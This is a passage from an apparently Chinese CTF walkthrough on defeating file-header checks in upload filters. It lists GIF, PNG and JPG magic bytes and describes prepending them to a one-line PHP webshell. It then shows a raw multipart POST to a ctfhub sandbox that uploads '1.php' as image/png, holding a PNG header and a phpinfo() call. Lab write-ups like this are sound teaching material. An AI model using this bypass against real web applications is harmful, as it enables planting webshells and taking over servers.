把上面的文件头
添加到我们的一句话木马内容最前面,达到绕过文件头检测的目的。
常见的文件头:
注意:下面的文件头的格式是16进制
的格式:
GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A
JPG:FF D8 FF E0 00 10 4A 46 49 46
给webshell添加文件头
下面我们使用md.php
文件做实验,文件是一个phpinfo
文件,我们把文件头添加到这个md.php
中:
因为文件头是16进制的文件格式,我们需要使用C32Asm这个工具以16进制的格式打开这个文件。 点击下载C32Asm_16进制文件编辑器
下面我们给md.php
文件添加文件头的效果:
png:
上传时要修改Content-Type类型为image/png,例如Content-Type: image/png
POST / HTTP/1.1
Host: challenge-f6c5fb62f13eda83.sandbox.ctfhub.com:10800
Content-Length: 303
Cache-Control: max-age=0
Origin: http://challenge-f6c5fb62f13eda83.sandbox.ctfhub.com:10800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryebapg3FUVTaPAvLs
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-f6c5fb62f13eda83.sandbox.ctfhub.com:10800/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive------WebKitFormBoundaryebapg3FUVTaPAvLs
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/pngPNG<?php phpinfo();?>
------WebKitFormBoundaryebapg3FUVTaPAvLs
Content-Disposition: form-data; name="submit"Submit
------WebKitFormBoundaryebapg3FUVTaPAvLs--
访问文件查看,成功解析